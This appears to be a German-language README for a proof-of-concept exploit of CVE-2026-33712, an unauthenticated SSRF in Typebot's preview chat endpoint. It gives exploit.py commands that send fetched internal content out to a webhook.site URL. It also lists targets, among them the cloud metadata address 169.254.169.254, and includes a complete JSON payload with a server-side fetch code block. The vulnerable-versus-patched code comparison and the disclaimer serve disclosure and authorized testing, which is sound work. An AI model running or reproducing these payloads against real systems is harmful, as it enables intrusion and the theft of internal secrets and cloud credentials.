
CVE-2026-33712 - Typebot <= 3.15.2 Nicht authentifizierte SSRF über isolated-vm Sandbox-Fetch
Typebot <= 3.15.2 (behoben in 3.16.0) enthält eine nicht authentifizierte Server-Side Request Forgery (SSRF)-Sicherheitslücke im Preview-Chat-Endpunkt.
Endpunkt: POST /api/v1/typebots/{typebotId}/preview/startChat
Der Preview-Endpunkt akzeptiert eine benutzerbereitgestellte Typebot-Definition mit serverseitigen Code-Blöcken. Die fetch()-Funktion, die innerhalb der isolated-vm-Sandbox bereitgestellt wird, ruft Node.js-natives fetch ohne die validateHttpReqUrl()-SSRF-Validierung auf, die den regulären HTTP-Request-Block schützt. Dies umgeht alle SSRF-Gegenmaßnahmen.
Dieses Tool dient ausschließlich zu Bildungszwecken und für autorisierte Sicherheitstests. Die unbefugte Nutzung gegen Systeme, die Sie nicht besitzen oder für die Sie keine ausdrückliche Genehmigung zum Testen haben, ist illegal. Der Autor übernimmt keine Verantwortung für Missbrauch oder Schäden, die durch dieses Tool verursacht werden.
__ENV.js| Datei | Beschreibung |
|---|---|
exploit.py | Haupt-Exploit-Skript |
endpoints.txt | Eine URL pro Zeile – SSRF-Ziele zum Scannen |
requirements.txt | Python-Abhängigkeiten |
pip install -r requirements.txt
# Single SSRF request
python3 exploit.py -t bot.example.com -u http://127.0.0.1:3000/__ENV.js -w https://webhook.site/your-uuid
# Scan all URLs from endpoints.txt
python3 exploit.py -t bot.example.com -w https://webhook.site/your-uuid --scan
# Auto-detect viewer URL from builder's __ENV.js
python3 exploit.py -t 192.168.1.10:3011 -w https://webhook.site/your-uuid --detect-viewer --scan
# Skip pre-flight and force execution
python3 exploit.py -t bot.example.com -w https://webhook.site/your-uuid --scan --force
| Argument | Beschreibung |
|---|---|
-t / --target | Typebot-Instanz-URL (Viewer oder Builder). Schema standardmäßig http:// |
-u / --url | Interne URL, die per SSRF abgerufen werden soll (Einzelmodus) |
-w / --webhook | Webhook-URL für exfiltrierte Daten (oder Umgebungsvariable WEBHOOK_URL) |
--scan | Alle URLs aus endpoints.txt scannen |
--detect-viewer | /__ENV.js auf dem Ziel abfragen, um NEXT_PUBLIC_VIEWER_URL zu finden und zu verwenden |
--force | Vorabprüfungen überspringen und Ausführung erzwingen |
--timeout | Anfrage-Timeout (Standard: 20s) |
--delay | Verzögerung zwischen Scan-Anfragen (Standard: 0,3s) |
bot.example.com ohne http:// übergeben, wird es automatisch vorangestellt.vulnerable (anfällig), patched (gepatcht, Authentifizierung erforderlich) oder endpoint_missing (falsche URL/Version). Bricht bei Fehlern frühzeitig ab, es sei denn --force ist gesetzt.endpoints.txt, durchläuft jede URL und exfiltriert den Inhalt an den Webhook.Eine rohe URL pro Zeile. Leerzeilen werden ignoriert. Keine Kommentare, keine Kategorien.
http://127.0.0.1:3000/__ENV.js
http://typebot-builder:3000/
http://169.254.169.254/latest/meta-data/
In packages/variables/src/executeFunction.ts rief die innerhalb der isolated-vm-Sandbox bereitgestellte fetch()-Funktion ursprünglich Node.js-natives fetch ohne SSRF-Validierung auf:
// VULNERABLE (<=3.15.2):
globalThis.fetch = (...args) => $0.apply(undefined, args, {
new Reference(async (...fetchArgs) => {
const [input, init] = fetchArgs;
const res = await fetch(input, init); // No validateHttpReqUrl!
return res.text();
}),
});
// PATCHED (>=3.16.0):
globalThis.fetch = (...args) => $0.apply(undefined, args, {
new Reference(async (...fetchArgs) => {
const [input, init] = fetchArgs;
const request = new Request(input, init);
await validateHttpReqUrl(request.url); // SSRF check added
validateHttpReqHeaders(headers);
}),
});
Der Fix (Commit d96f572) ordnete auch die Prüfungen in getTypebot() neu an, sodass die Authentifizierungsvalidierung vor der benutzerdefinierten Typebot-Verknüpfung ausgeführt wird, und verschob den Preview-Endpunkt des Viewers von procedureWithOptionalUser zu protectedProcedure.
{
"typebotId": "exploit-id",
"typebot": {
"version": "6",
"id": "exploit-bot",
"workspaceId": "test",
"updatedAt": "2026-01-01T00:00:00.000Z",
"groups": [
{
"id": "group-1", "title": "Start",
"graphCoordinates": {"x": 0, "y": 0},
"blocks": [
{"id": "block-1", "type": "start", "label": "Start", "outgoingEdgeId": "edge-1"}
]
},
{
"id": "group-2", "title": "SSRF",
"graphCoordinates": {"x": 200, "y": 0},
"blocks": [
{
"id": "block-2", "type": "Code",
"outgoingEdgeId": "edge-2",
"options": {
"name": "SSRF",
"content": "const res = await fetch(\"http://127.0.0.1:3000/\"); setVariable(\"result\", res);",
"isExecutedOnClient": false,
"isUnsafe": true
}
}
]
}
],
"edges": [
{"id": "edge-1", "from": {"blockId": "block-1"}, "to": {"groupId": "group-2"}}
],
"events": [
{"id": "event-1", "type": "start", "outgoingEdgeId": "edge-1", "graphCoordinates": {"x": 0, "y": 0}}
],
"variables": [
{"id": "var-1", "name": "result", "value": null}
],
"settings": {"general": {}},
"theme": {"general": {}, "chat": {}}
}
}
Wichtig: fetch() innerhalb der Sandbox gibt bereits .text() zurück, daher ist das Ergebnis ein String, kein Response-Objekt.